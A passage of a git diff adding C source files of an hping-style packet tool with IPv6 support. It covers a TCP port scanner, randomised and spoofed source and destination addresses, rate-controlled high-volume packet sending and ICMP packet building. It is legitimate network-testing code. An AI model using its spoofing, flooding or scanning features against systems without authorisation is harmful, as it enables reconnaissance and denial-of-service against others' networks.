0; + unsigned char *rc = (unsigned char*) &r; + static unsigned int i = 0, j = 0; + unsigned int si, sj, x; + + /* initialization, only needed the first time */ + if (!rc4_seedflag) + hp_rand_init(); + /* generates 4 bytes of pseudo-random data using RC4 */ + for (x = 0; x < 4; x++) { + i = (i+1) & 0xff; + si = rc4_sbox[i]; + j = (j + si) & 0xff; + sj = rc4_sbox[j]; + rc4_sbox[i] = sj; + rc4_sbox[j] = si; + *rc++ = rc4_sbox[(si+sj)&0xff]; + } + return r; +} + diff --git a/random6.c b/random6.c new file mode 100644 index 0000000..c81f667 --- /dev/null +++ b/random6.c @@ -0,0 +1,143 @@ +// vim:sw=4:ts=4:et: + +/* + * Copyright (C) 2021 Andrei Belov (@defanator on github) + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +/* 16 octets in binary form + dots between octets + trailing zero */ +#define INET6_ADDRBINSTRLEN ((8 * 16) + (1 * 15) + 1UL) + +#ifndef INET6_ADDRSTRLEN +#define INET6_ADDRSTRLEN sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255") +#endif + +char * sprintb(char *dst, void const * const ptr, size_t const size) +{ + int i, j; + char *dp = dst; + unsigned char byte; + unsigned char *b = (unsigned char*) ptr; + + for (i = size - 1; i >= 0; i--) { + for (j = 7; j >= 0; j--) { + byte = (b[i] >> j) & 1; + *dp++ = byte ? '1' : '0'; + } + } + + *dp = 0x0; + return dst; +} + +char * sprintb_addr6(char *dst, struct in6_addr *in6) { + char *dp = dst; + u_char *p = in6->s6_addr; + int i; + + for (i = 0; i < 16; i++) { + sprintb(dp, &p[i], sizeof(u_char)); + dp += 8; + if (i < 15) *dp++ = '.'; + } + + return dst; +} + +struct in6_addr ipv6_rand(char *net,uint8_t prefixlen) +{ + int i, j, s; + uint8_t bits, shift; + u_char *addr, *mask; + struct in6_addr addr6, mask6,rand6; + //char straddr6[INET6_ADDRSTRLEN]; + //char binaddr6[INET6_ADDRBINSTRLEN]; + + char *ip6net = net; + + if (inet_pton(AF_INET6, ip6net, &addr6) < 1) { + printf("incorrect IPv6 address/net: \"%s\"\n", ip6net); + exit(1); + } + + addr = addr6.s6_addr; + mask = mask6.s6_addr; + shift = prefixlen; + bits = 128 - shift; + + for (i = 0; i < 16; i++) { + s = (shift > 8) ? 8 : shift; + shift -= s; + + mask[i] = (u_char) (0xffu << (8 - s)); + + if (addr[i] != (addr[i] & mask[i])) { + addr[i] &= mask[i]; + } + } + + + //inet_ntop(AF_INET6, &addr6, straddr6, INET6_ADDRSTRLEN); + //printf("network: %s/%d\n", straddr6, prefixlen); + + //inet_ntop(AF_INET6, &mask6, straddr6, INET6_ADDRSTRLEN); + //printf("netmask: %s (free bits=%d)\n", straddr6, bits); + + //printf("%s\n", sprintb_addr6(binaddr6, &addr6)); + //printf("%s\n", sprintb_addr6(binaddr6, &mask6)); + //printf("----\n"); + + srand(((unsigned) getpid() << 16) ^ time(NULL)); + + uint32_t rv = rand(); + int k = 0; + + shift = bits; + rand6 = addr6; + addr = rand6.s6_addr; + + for (j = 15; j >= 0; j--) { + s = (shift > 8) ? 8 : shift; + shift -= s; + + addr[j] = addr[j] ^ ((addr[j] ^ rv) & ~mask[j]); + + if (shift == 0) break; + + rv >>= 8; + + /* + * Note that the MSB of the first octet in random value rv + * will always be 0 as RAND_MAX=0x7FFFFFFF, i.e. if we refresh + * rv after using all the 4 octets from uint32_t, the leading + * bit in octets 4, 8, 12, 16 in generated IPv6 address + * will _always_ be 0. + * + * While it seems legit for e.g. ::ffff:0:0/96 (IPv4-mapped + * addresses), there may be a better way of handling this + * (e.g. refresh rv after using 3 of 4 octets or reverse + * bits in first octet before applying). + * + */ + //if (++k > 2) { + if (++k > 3) { + rv = rand(); + k = 0; + } + } + //inet_ntop(AF_INET6, &rand6, straddr6, INET6_ADDRSTRLEN); + //printf("%s [%s]\n", sprintb_addr6(binaddr6, &rand6), straddr6); + + return rand6; +} \ No newline at end of file diff --git a/release.h b/release.h new file mode 100644 index 0000000..a7e1586 --- /dev/null +++ b/release.h @@ -0,0 +1,18 @@ +/* + * $smu-mark$ + * $name: release.h$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 16 11:55:49 MET 1999$ + * $rev: 17$ + */ + +#ifndef _RELEASE_H +#define _RELEASE_H + +#define RELEASE_VERSION "3.0.0-koszik" +#define RELEASE_DATE "Sun Apr 16 07:19:17 CEST 2006" +#define CONTACTS "" + +#endif /* _RELEASE_H */ diff --git a/relid.c b/relid.c new file mode 100644 index 0000000..5c6e1f7 --- /dev/null +++ b/relid.c @@ -0,0 +1,46 @@ +/* + * $smu-mark$ + * $name: relid.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 3$ + */ + +/* FIXME: maybe it's better to avoid division per seq_diff and + at least add an option to switch on/off this feature */ + +#include "hping2.h" +#include "globals.h" + +int relativize_id(int seqnum, int *ip_id) +{ + int seq_diff, backup_id; + static int last_seq = 0, last_id = -1; + + backup_id = *ip_id; + + if (last_id == -1) { + last_id = *ip_id; + last_seq = seqnum; + } + else + { + if ( (seq_diff=(seqnum-last_seq)) > 0) + { + if (last_id > *ip_id) /* rew */ + *ip_id = ((65535-last_id) + + *ip_id)/seq_diff; + else + *ip_id = (*ip_id-last_id) + /seq_diff; + last_id = backup_id; + last_seq = seqnum; + return TRUE; + } else { + out_of_sequence_pkt++; + } + } + return FALSE; +} diff --git a/resolve.c b/resolve.c new file mode 100644 index 0000000..11282fb --- /dev/null +++ b/resolve.c @@ -0,0 +1,63 @@ +/* + * $smu-mark$ + * $name: resolve.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +void resolve (struct sockaddr * addr, char *hostname) +{ + struct sockaddr_in *address; + struct hostent *host; + + address = (struct sockaddr_in *)addr; + + memset(address, 0, sizeof(struct sockaddr_in)); + address->sin_family = AF_INET; + address->sin_addr.s_addr = inet_addr(hostname); + + if ( (int)address->sin_addr.s_addr == -1) { + host = gethostbyname(hostname); + if (host) { + memcpy(&address->sin_addr, host->h_addr, + host->h_length); + } else { + perror("[resolve] Could not resolve address"); + exit(1); + } + } +} + +void resolve6 (struct sockaddr * addr, char *hostname) +{ + struct sockaddr_in6 *address; + struct hostent *host; + + address = (struct sockaddr_in6 *)addr; + + memset(address, 0, sizeof(struct sockaddr_in6)); + address->sin6_family = AF_INET6; + if(inet_pton(AF_INET6, hostname, &address->sin6_addr) < 1) { + host = gethostbyname2(hostname, AF_INET6); + if (host) { + memcpy(&address->sin6_addr, host->h_addr, + host->h_length); + } else { + herror("[resolve] Could not resolve address"); + exit(1); + } + } +} diff --git a/rtt.c b/rtt.c new file mode 100644 index 0000000..8712e01 --- /dev/null +++ b/rtt.c @@ -0,0 +1,99 @@ +/* + * $smu-mark$ + * $name: rtt.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 3$ + */ + +#include +#include + +#include "hping2.h" +#include "globals.h" + +void minavgmax(float ms_delay) +{ + static int avg_counter = 0; + + if (rtt_min == 0 || ms_delay < rtt_min) + rtt_min = ms_delay; + if (rtt_max == 0 || ms_delay > rtt_max) + rtt_max = ms_delay; + avg_counter++; + rtt_avg = (rtt_avg*(avg_counter-1)/avg_counter)+(ms_delay/avg_counter); +} + +int rtt(int *seqp, int recvport, float *ms_delay) +{ + long sec_delay = 0, usec_delay = 0; + int i, tablepos = -1, status; + + if (*seqp != 0) { + for (i = 0; i < TABLESIZE; i++) + if (delaytable[i].seq == *seqp) { + tablepos = i; + break; + } + } else { + for (i=0; i +#include +#include +#include +#if 0 +#include +#endif +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include + +#if 0 +#if defined(__GNU_LIBRARY__) && !defined(_SEM_SEMUN_UNDEFINED) +/* union semun is defined by including */ +#else +/* according to X/OPEN we have to define it ourselves */ +union semun { + int val; /* value for SETVAL */ + struct semid_ds *buf; /* buffer for IPC_STAT, IPC_SET */ + unsigned short int *array; /* array for GETALL, SETALL */ + struct seminfo *__buf; /* buffer for IPC_INFO */ +}; +#endif +#endif + +#include "hping2.h" +#include "globals.h" +#include "hstring.h" + +#define SEM_MODE 0777 +#define MAXPORT 65535 + +int opt_scan_probes = 8; +float avrgms = 0; +int avrgcount = 0; + +/* ---------------------------- data structures ----------------------------- */ + +/* Note that while we don't use any kind of locking, to access + * this fields is safe. the 'retry' field is only accessed by the + * sendinf half, while the 'active' field is set by the receiver + * and tested by the sender so atomicity isn't an issue. */ +struct portinfo { + int active; + int retry; + time_t sentms; /* Upss... added this that requires locking, FIXME */ +}; + +/* ------------------------- shared memory related -------------------------- */ + +static int id; /* shared memory id */ + +static int shm_creat(int size) +{ + id = shmget(IPC_PRIVATE, size, IPC_CREAT | 0777); + if (id == -1) + { + perror("[shm_creat] shmget"); + return -1; /* on error -1 */ + } + return id; /* on success > 0 */ +} + +static void *shm_attach(void) +{ + void *shared; + + shared = shmat(id, 0, 0); + if (shared == (void*) -1) + { + perror("[shm_attach] shmat"); + return NULL; /* on error NULL */ + } + return shared; /* on success the address */ +} + +static int shm_rm(void) +{ + struct shmid_ds shmemds; + + return shmctl(id, IPC_RMID, &shmemds); +} + +static int shm_detach(void *addr) +{ + return shmdt(addr); +} + +static void *shm_init(int size) +{ + if (shm_creat(size) == -1) + return NULL; + return shm_attach(); +} + +static void shm_close(void *addr) +{ + shm_detach(addr); + shm_rm(); +} + +/* ------------------------------ locking ---------------------------------- */ + +/* Note that a mutex can't be used with shared memory (on Linux), the only left + * option is a semaphore, but I tried to protect the critical code + * using the functions above: the scanner becomes too slow. For now + * it's better to have nothing at all, for the future we need something + * like a spinlock. (btw, note that the code should be safe on x86) */ + +/* I left this code here, just in the case it will be useful for testing */ +#if 0 +static int sem_init(void) +{ + int semid, sem_key; + + if ((sem_key = ftok("/tmp/hpingscansem", 1)) == -1) { + perror("ftok"); + exit(1); + } + + /* Semi-safe semaphore initialization from R.Stevens */ + + /* Try to create the semaphore with EXCL */ + if ((semid = semget(sem_key, 1, IPC_CREAT|IPC_EXCL|SEM_MODE)) != -1) { + /* success, we need to initialize it */ + union semun arg; + + arg.val = 1; + if (semctl(semid, 0, SETVAL, arg) == -1) { + perror("semctl"); + exit(1); + } + } else if (errno == EEXIST) { + if ((semid = semget(sem_key, 1, SEM_MODE)) == -1) { + perror("semget"); + exit(1); + } + } else { + perror("semget"); + exit(1); + } + return semid; +} + +static int ports_lock(int semid) +{ + struct sembuf op[1]; + + op[0].sem_num = 0; + op[0].sem_op = -1; + op[0].sem_flg = SEM_UNDO; + return semop(semid, op, 1); +} + +static int ports_unlock(int semid) +{ + struct sembuf op[1]; + + op[0].sem_num = 0; + op[0].sem_op = +1; + op[0].sem_flg = SEM_UNDO; + return semop(semid, op, 1); +} +#endif + +/* -------------------------------- misc ----------------------------------- */ +static char *tcp_strflags(char *s, unsigned int flags) +{ + char *ftab = "FSRPAYXY", *p = s; + int bit = 0; + + memset(s, '.', 8); + s[8] = '\0'; + while(bit < 8) { + if (flags & (1 << bit)) + p[bit] = ftab[bit]; + bit++; + } + return s; +} + +static char *port_to_name(int port) +{ + struct servent *se; + + se = getservbyport(htons(port), NULL); + if (!se) + return ""; + else + return se->s_name; +} + +/* ----------------------------- ports parsing ------------------------------ */ +static int parse_ports(struct portinfo *pi, char *ports) +{ + char *args[32], *p = strdup(ports); + int argc, j, i; + + if (!p) { + fprintf(stderr, "Out of memory"); + return 1; + } + argc = strftok(",", ports, args, 32); + for (j = 0; j < argc; j++) { + int neg = 0; + char *a = args[j]; + + /* ports negation */ + if (a[0] == '!') { + neg = 1; + a++; + } + /* range */ + if (strchr(a, '-')) { + char *range[2]; + int low, high; + + strftok("-", a, range, 2); + if (!strisnum(range[0]) || !strisnum(range[1])) + goto err; /* syntax error */ + low = strtol(range[0], NULL, 0); + high = strtol(range[1], NULL, 0); + if (low > high) { + int t; + t = high; + high = low; + low = t; + } + for (i = low; i <= high; i++) + pi[i].active = !neg; + /* all the ports */ + } else if (!strcmp(a, "all")) { + for (i = 0; i <= MAXPORT; i++) + pi[i].active = !neg; + /* /etc/services ports */ + } else if (!strcmp(a, "known")) { + struct servent *se; + setservent(0); + while((se = getservent()) != NULL) { + int port = ntohs(se->s_port); + if (port < 0 || port > MAXPORT) + continue; + pi[port].active = !neg; + } + /* a single port */ + } else { + int port; + if (!strisnum(a)) + goto err; /* syntax error */ + port = strtol(a, NULL, 0); + if (port < 0 || port > MAXPORT) + goto err; /* syntax error */ + pi[port].active = !neg; + } + } + free(p); + return 0; +err: + free(p); + return 1; +} + +/* -------------------------------- output ---------------------------------- */ +static void sender(struct portinfo *pi) +{ + int i, retry = 0; + time_t start_time; + + start_time = get_midnight_ut_ms(); + + while(1) { + int active = 0; + int recvd = 0; + retry ++; + for (i = 0; i < MAXPORT; i++) { + if (pi[i].active && pi[i].retry) { + active++; + pi[i].retry--; + sequence = -1; + dst_port = i; + pi[i].sentms = get_midnight_ut_ms(); + send_tcp(); + if (opt_waitinusec) { + if (usec_delay.it_interval.tv_usec) + usleep(usec_delay.it_interval.tv_usec); + } else { + sleep(sending_wait); + } + } + } + avrgms = (float) pi[MAXPORT+1].active; + if (retry >= 3) { + if (opt_debug) + printf("AVRGMS %f\n", avrgms); + if (avrgms) + usleep((int) (avrgms*1000)); + else + sleep(1); + } + for (i = 0; i < MAXPORT; i++) { + if (!pi[i].active && pi[i].retry) + recvd++; + } + /* More to scan? */ + if (!active) { + if (!recvd) + sleep(1); + fprintf(stderr, "All replies received. Done.\n"); + printf("Not responding ports: "); + for (i = 0; i < MAXPORT; i++) { + if (pi[i].active && !pi[i].retry) + printf("(%d %.11s) ", i, port_to_name(i)); + } + printf("\n"); + exit(0); + } + /* Are we sending too fast? */ + if ((!recvd && opt_waitinusec && + usec_delay.it_interval.tv_usec == 0 && + (get_midnight_ut_ms() - start_time) > 500) || + (opt_scan_probes-retry) <= 2) + { + if (opt_debug) + printf("SLOWING DONW\n"); + usec_delay.it_interval.tv_usec *= 10; + usec_delay.it_interval.tv_usec ++; + } + } +} + +/* -------------------------------- input ---------------------------------- */ +static void receiver(struct portinfo *pi, int childpid) +{ + struct myiphdr ip; + char packet[IP_MAX_SIZE+linkhdr_size]; + + while(1) + { + int len, iplen; + + len = read_packet(packet, IP_MAX_SIZE+linkhdr_size); + if (len == -1) { + perror("read_packet"); + continue; + } + /* minimal sanity checks */ + if (len < linkhdr_size) + continue; + iplen = len - linkhdr_size; + if (iplen < sizeof(struct myiphdr)) + continue; + /* copy the ip header in an access-safe place */ + memcpy(&ip, packet+linkhdr_size, sizeof(ip)); + /* check if the dest IP matches */ + if (memcmp(&ip.daddr, &ADDR4(&local), sizeof(ip.daddr))) + continue; + /* check if the source IP matches */ + if (ip.protocol != IPPROTO_ICMP && + memcmp(&ip.saddr, &ADDR4(&remote), sizeof(ip.saddr))) + continue; + if (ip.protocol == IPPROTO_TCP) { + struct mytcphdr tcp; + int iphdrlen = ip.ihl << 2; + char flags[16]; + time_t rttms; + int sport; + + /* more sanity checks */ + if ((iplen - iphdrlen) < sizeof(tcp)) + continue; + /* time to copy the TCP header in a safe place */ + memcpy(&tcp, packet+linkhdr_size+iphdrlen, sizeof(tcp)); + + /* check if the TCP dest port matches */ +#if 0 + printf("SRC: %d DST: %d\n", + ntohs(tcp.th_sport), + ntohs(tcp.th_dport)); +#endif + if (ntohs(tcp.th_dport) != initsport) + continue; + sport = htons(tcp.th_sport); + if (pi[sport].active == 0) + continue; + + + /* Note that we don't care about a wrote RTT + * result due to resend on the same port. */ + rttms = get_midnight_ut_ms() - pi[sport].sentms; + + avrgcount++; + avrgms = (avrgms*(avrgcount-1)/avrgcount)+(rttms/avrgcount); + /* The avrg RTT is shared using shared memory, + * no locking... */ + pi[MAXPORT+1].active = (int) avrgms; + + tcp_strflags(flags, tcp.th_flags); +#if 0 + printf("%5d: %s %3d %5d %5d %10ld (%2d)\n", + sport, + flags, + ip.ttl, + ip.id, + ntohs(tcp.th_win), + (long) rttms, + opt_scan_probes-(pi[sport].retry)); +#endif + if ((tcp.th_flags & TH_SYN) || opt_verbose) { + printf("%5d %-11.11s: %s %3d %5d %5d\n", + sport, + port_to_name(sport), + flags, + ip.ttl, + ip.id, + ntohs(tcp.th_win)); + fflush(stdout); + } + pi[sport].active = 0; + } else if (ip.protocol == IPPROTO_ICMP) { + struct myicmphdr icmp; + struct myiphdr subip; + struct mytcphdr subtcp; + int iphdrlen = ip.ihl << 2; + unsigned char *p; + int port; + struct in_addr gwaddr; + + /* more sanity checks, we are only interested + * in ICMP quoting the original packet. */ + if ((iplen - iphdrlen) < sizeof(icmp)+sizeof(subip)+sizeof(subtcp)) + continue; + /* time to copy headers in a safe place */ + p = packet+linkhdr_size+iphdrlen; + memcpy(&icmp, p, sizeof(subtcp)); + p += sizeof(icmp); + memcpy(&subip, p, sizeof(ip)); + p += sizeof(ip); + memcpy(&subtcp, p, sizeof(subtcp)); + + /* Check if the ICMP quoted packet matches */ + /* check if the source IP matches */ + if (memcmp(&subip.saddr, &ADDR4(&local), sizeof(subip.saddr))) + continue; + /* check if the destination IP matches */ + if (memcmp(&subip.daddr, &ADDR4(&remote), sizeof(subip.daddr))) + continue; + /* check if the quoted TCP packet port matches */ + if (ntohs(subtcp.th_sport) != initsport) + continue; + port = htons(subtcp.th_dport); + if (pi[port].active == 0) + continue; + pi[port].active = 0; + memcpy(&gwaddr.s_addr, &ip.saddr, 4); + printf("%5d: %3d %5d (ICMP %3d %3d from %s)\n", + port, + ip.ttl, + ntohs(ip.id), + icmp.type, + icmp.code, + inet_ntoa(gwaddr)); + } + } +} + +/* ---------------------------------- main ---------------------------------- */ +static void do_exit(int sid) +{ + exit(0); +} + +void scanmain(void) +{ + struct portinfo *pi; + int ports = 0, i; + int childpid; + + pi = shm_init(sizeof(*pi)*(MAXPORT+2)); + pi[MAXPORT+1].active = 0; /* hold the average RTT */ + if (pi == NULL) { + fprintf(stderr, "Unable to create the shared memory"); + shm_close(pi); + exit(1); + } + for (i = 0; i <= MAXPORT; i++) { + pi[i].active = 0; + pi[i].retry = opt_scan_probes; + } + if (parse_ports(pi, opt_scanports)) { + fprintf(stderr, "Ports syntax error for scan mode\n"); + shm_close(pi); + exit(1); + } + for (i = 0; i <= MAXPORT; i++) { + if (!pi[i].active) + pi[i].retry = 0; + } + for (i = 0; i <= MAXPORT; i++) + ports += pi[i].active; + fprintf(stderr, "%d ports to scan, use -V to see all the replies\n", ports); + fprintf(stderr, "+----+-----------+---------+---+-----+-----+\n"); + fprintf(stderr, "|port| serv name | flags |ttl| id | win |\n"); + fprintf(stderr, "+----+-----------+---------+---+-----+-----+\n"); + + /* We are ready to fork, the input and output parts + * are separated processes */ + if ((childpid = fork()) == -1) { + perror("fork"); + shm_close(pi); + exit(1); + } + /* The parent is the receiver, the child the sender. + * it's almost the same but this way is simpler + * to make it working in pipe with other commands like grep. */ + if (childpid) { /* parent */ + Signal(SIGCHLD, do_exit); + Signal(SIGINT, do_exit); + Signal(SIGTERM, do_exit); + receiver(pi, childpid); + } else { /* child */ + Signal(SIGINT, do_exit); + Signal(SIGTERM, do_exit); + sender(pi); + } + /* UNREACHED */ +} diff --git a/send.c b/send.c new file mode 100644 index 0000000..ca0259d --- /dev/null +++ b/send.c @@ -0,0 +1,239 @@ +/* + * $smu-mark$ + * $name: sendudp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +/* $Id: send.c,v 1.6 2003/08/01 14:53:08 antirez Exp $ */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +#ifndef INET6_ADDRSTRLEN +#define INET6_ADDRSTRLEN sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255") +#endif + +static void select_next_random_source(void) +{ + unsigned char ra[4]; + + ra[0] = hp_rand() & 0xFF; + ra[1] = hp_rand() & 0xFF; + ra[2] = hp_rand() & 0xFF; + ra[3] = hp_rand() & 0xFF; + memcpy(&ADDR4(&local).s_addr, ra, 4); + + if (opt_debug) + printf("DEBUG: the source address is %u.%u.%u.%u\n", + ra[0], ra[1], ra[2], ra[3]); +} + +static void select_next_random_ipv6_source(void) +{ + unsigned char ra[16]; + + ra[0] = hp_rand() & 0xFF; + ra[1] = hp_rand() & 0xFF; + ra[2] = hp_rand() & 0xFF; + ra[3] = hp_rand() & 0xFF; + ra[4] = hp_rand() & 0xFF; + ra[5] = hp_rand() & 0xFF; + ra[6] = hp_rand() & 0xFF; + ra[7] = hp_rand() & 0xFF; + ra[8] = hp_rand() & 0xFF; + ra[9] = hp_rand() & 0xFF; + ra[10] = hp_rand() & 0xFF; + ra[11] = hp_rand() & 0xFF; + ra[12] = hp_rand() & 0xFF; + ra[13] = hp_rand() & 0xFF; + ra[14] = hp_rand() & 0xFF; + ra[15] = hp_rand() & 0xFF; + memcpy(&ADDR6(&local).s6_addr, ra, 16); + +} + +static void select_next_random_ipv6_dest(void) +{ + unsigned char ra[16]; + + ra[0] = hp_rand() & 0xFF; + ra[1] = hp_rand() & 0xFF; + ra[2] = hp_rand() & 0xFF; + ra[3] = hp_rand() & 0xFF; + ra[4] = hp_rand() & 0xFF; + ra[5] = hp_rand() & 0xFF; + ra[6] = hp_rand() & 0xFF; + ra[7] = hp_rand() & 0xFF; + ra[8] = hp_rand() & 0xFF; + ra[9] = hp_rand() & 0xFF; + ra[10] = hp_rand() & 0xFF; + ra[11] = hp_rand() & 0xFF; + ra[12] = hp_rand() & 0xFF; + ra[13] = hp_rand() & 0xFF; + ra[14] = hp_rand() & 0xFF; + ra[15] = hp_rand() & 0xFF; + memcpy(&ADDR6(&remote).s6_addr, ra, 16); +} + +static void select_next_random_ipv6_source_simple(void) +{ struct in6_addr rand6; + + rand6 = ipv6_rand("2200::",8); + + memcpy(&ADDR6(&local).s6_addr, rand6.s6_addr,16); + +} + +static void select_next_random_ipv6_dest_simple(void) +{ + struct in6_addr rand6; + + rand6 = ipv6_rand("2200::",8); + + memcpy(&ADDR6(&remote).s6_addr, rand6.s6_addr,16); +} + +static void select_next_random_dest(void) +{ + unsigned char ra[4]; + char a[4], b[4], c[4], d[4]; + + if (sscanf(targetname, "%4[^.].%4[^.].%4[^.].%4[^.]", a, b, c, d) != 4) + { + fprintf(stderr, + "wrong --rand-dest target host, correct examples:\n" + " x.x.x.x, 192,168.x.x, 128.x.x.255\n" + "you typed: %s\n", targetname); + exit(1); + } + a[3] = b[3] = c[3] = d[3] = '\0'; + + ra[0] = a[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(a, NULL, 0); + ra[1] = b[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(b, NULL, 0); + ra[2] = c[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(c, NULL, 0); + ra[3] = d[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(d, NULL, 0); + memcpy(&ADDR4(&remote).s_addr, ra, 4); + + if (opt_debug) { + printf("DEBUG: the dest address is %u.%u.%u.%u\n", + ra[0], ra[1], ra[2], ra[3]); + } +} + +long long sum_bytes; +unsigned int sum_packets; +/* The signal handler for SIGALRM will send the packets */ +#define TDIFF(a,b) (((a).tv_usec - (b).tv_usec)/1000+((a).tv_sec - (b).tv_sec)*1000) +void send_packet (int signal_id) +{ + int errno_save = errno; + struct timeval tv1, tv2; + int lel = 0; + + gettimeofday(&tv1, NULL); + do{ + if (opt_rand_dest){ + if(opt_ipv6) { + select_next_random_ipv6_dest(); + } else { + select_next_random_dest(); + } + } + if (opt_rand_source){ + if(opt_ipv6) { + select_next_random_ipv6_source(); + } else { + select_next_random_source(); + } + } + + if (opt_rawipmode) send_rawip(); + else if (opt_icmpmode){if(opt_ipv6)send_icmp6(); else send_icmp();} + else if (opt_udpmode) send_udp(); + else send_tcp(); + + sent_pkt++; + if((opt_pps || opt_bps) && (sum_packets & 127) == 13) + { + int el; + + gettimeofday(&tv2, NULL); + el = TDIFF(tv2, tv1); + if(opt_bps) + { + if(sum_bytes * 1000 / opt_bps > el) + usleep((sum_bytes * 1000 / opt_bps - el) * 1000); + } + else if(opt_pps) + { + if(sum_packets * 1000 / opt_pps > el) + usleep((sum_packets * 1000 / opt_pps - el) * 1000); + } + if(el - lel > 100) + { + float bps, pps; + char *bpsc, *ppsc; + + gettimeofday(&tv2, NULL); + el = TDIFF(tv2, tv1); + pps = (float)sum_packets*1000/el; + bps = (float)sum_bytes*8000/el; + bpsc = ppsc = ""; + if(bps > 9999999999.0) + { + bps /= 1000000000.0; + bpsc = "G"; + } + else if(bps > 9999999) + { + bps /= 1000000; + bpsc = "M"; + } + else if(bps > 9999) + { + bps /= 1000; + bpsc = "k"; + } + + if(pps > 9999999) + { + pps /= 1000000; + ppsc = "M"; + } + else if(pps > 9999) + { + pps /= 1000; + ppsc = "k"; + } + + printf("\rt: %.2fs, %.1f %spps, %.1f %sbps ", (float)el/1000.0, pps, ppsc, bps, bpsc); + fflush(stdout); + lel = el; + } + } + }while(opt_pps || opt_bps); + Signal(SIGALRM, send_packet); + + if (count != -1 && count == sent_pkt) { /* count reached? */ + Signal(SIGALRM, print_statistics); + alarm(COUNTREACHED_TIMEOUT); + } else if (!opt_listenmode) { + if (opt_waitinusec == FALSE) + alarm(sending_wait); + else + setitimer(ITIMER_REAL, &usec_delay, NULL); + } + errno = errno_save; +} diff --git a/sendhcmp.c b/sendhcmp.c new file mode 100644 index 0000000..2177571 --- /dev/null +++ b/sendhcmp.c @@ -0,0 +1,49 @@ +/* + * $smu-mark$ + * $name: sendhcmp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 4$ + */ + +#include +#include +#include +#include /* SIGALARM macro */ + +#include "hping2.h" +#include "globals.h" + +#define MUST_BE_UNREACHED 0 + +void send_hcmp(__u8 type, __u32 arg) +{ + static struct hcmphdr hcmph; /* static because we export this */ + /* to data_handler() */ + + data_size = signlen + sizeof(struct hcmphdr); + + /* build hcmp header */ + memset(&hcmph, 0, sizeof(hcmph)); + hcmph.type = type; + switch (type) + { + case HCMP_RESTART: + hcmph.typedep.seqnum = htons((__u16) arg); + break; + case HCMP_SOURCE_QUENCH: + case HCMP_SOURCE_STIRUP: + hcmph.typedep.usec = htonl(arg); + break; + default: + assert(MUST_BE_UNREACHED); + } + + /* use hcmphdr_p to transmit hcmph to data_handler() */ + hcmphdr_p = &hcmph; + kill(getpid(), SIGALRM); /* send hcmp */ + + return; +} diff --git a/sendicmp.c b/sendicmp.c new file mode 100644 index 0000000..dfbb398 --- /dev/null +++ b/sendicmp.c @@ -0,0 +1,283 @@ +/* + * $smu-mark$ + * $name: sendicmp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +/* $Id: sendicmp.c,v 1.9 2003/07/25 11:42:10 njombart Exp $ */ + +#include /* this should be not needed, but ip_icmp.h lacks it */ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +static int _icmp_seq = 0; + +static void send_icmp_echo(void); +static void send_icmp_other(void); +static void send_icmp_timestamp(void); +static void send_icmp_address(void); + +void send_icmp(void) +{ + switch(opt_icmptype) + { + case ICMP_ECHO: /* type 8 */ + case ICMP_ECHOREPLY: /* type 0 */ + send_icmp_echo(); + break; + case ICMP_DEST_UNREACH: /* type 3 */ + case ICMP_SOURCE_QUENCH: /* type 4 */ + case ICMP_REDIRECT: /* type 5 */ + case ICMP_TIME_EXCEEDED: /* type 11 */ + send_icmp_other(); + break; + case ICMP_TIMESTAMP: + case ICMP_TIMESTAMPREPLY: + send_icmp_timestamp(); + break; + case ICMP_ADDRESS: + case ICMP_ADDRESSREPLY: + send_icmp_address(); + break; + default: + if (opt_force_icmp) { + send_icmp_other(); + break; + } else { + printf("[send_icmp] Unsupported icmp type!\n"); + exit(1); + } + } +} + +static void send_icmp_echo(void) +{ + char *packet, *data; + struct myicmphdr *icmp; + + packet = malloc(ICMPHDR_SIZE + data_size); + if (packet == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + data_size); + + icmp = (struct myicmphdr*) packet; + data = packet + ICMPHDR_SIZE; + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* echo replay or echo request */ + icmp->code = opt_icmpcode; /* should be indifferent */ + icmp->checksum = 0; + icmp->un.echo.id = getpid() & 0xffff; + icmp->un.echo.sequence = _icmp_seq; + + /* data */ + data_handler(data, data_size); + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + data_size); + else + icmp->checksum = icmp_cksum; + + /* adds this pkt in delaytable */ + if (opt_icmptype == ICMP_ECHO) + 